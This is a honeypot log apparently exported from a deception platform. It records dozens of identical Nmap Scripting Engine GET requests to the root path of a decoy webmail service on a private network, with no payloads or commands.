  <134>1 2026-04-08T04:43:39.957390+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:43:50
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:43:50.123200+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:00
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:00.291225+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:10
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:10.463393+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:20
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:20.627191+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:30
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:30.797913+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:40
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:40.964645+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:44:51
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:44:51.131638+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:01
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:01.290259+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:11
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:11.447792+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:21.603772+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:31
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:31.760471+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:41
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:41.920287+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:45:52
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:45:52.083705+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:02
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:02.251677+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:12
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:12.415397+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:22
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:22.579023+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:32
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:32.744813+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:42
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:42.906618+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:46:53
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:46:53.074407+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:03
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:03.243877+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:13
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:13.416633+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:23
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:23.586261+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:33
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:33.758032+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:43
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:43.935127+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:47:54
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:47:54.114409+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:04
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:04.292362+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:14.468195+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:24
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:24.638184+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:34
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:34.810944+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:44
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:44.986731+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:48:55
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:48:55.164385+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:05
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:05.341147+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:15.516077+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:25
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:25.688891+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:35
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:35.856472+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:46
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:46.027314+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:49:56
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:49:56.195150+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:06
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:06.362914+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:16
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:16.530644+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:26
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:26.700683+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:36
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:36.869328+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:47
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:47.038170+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:50:57
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:50:57.203937+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:07
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:07.371622+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:17
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:17.539364+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:27
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:27.709347+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:37
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:37.876021+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:48
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:48.044892+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:51:58
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:51:58.214636+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:08
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:08.383473+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:18
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:18.550282+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:28
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:28.718453+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:38
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:38.888161+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:49
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:49.057016+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:52:59
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:52:59.230344+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:53:09
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:53:09.407310+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:53:19
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:53:19.581342+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:53:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:53:29.756369+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:53:39
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:53:39.932213+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:53:50
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:53:50.110057+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:00
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:54:00.288805+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:10
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:54:10.464688+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:20
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:54:20.640778+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:30
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:54:30.815601+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:40
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:54:40.990369+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:54:51
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
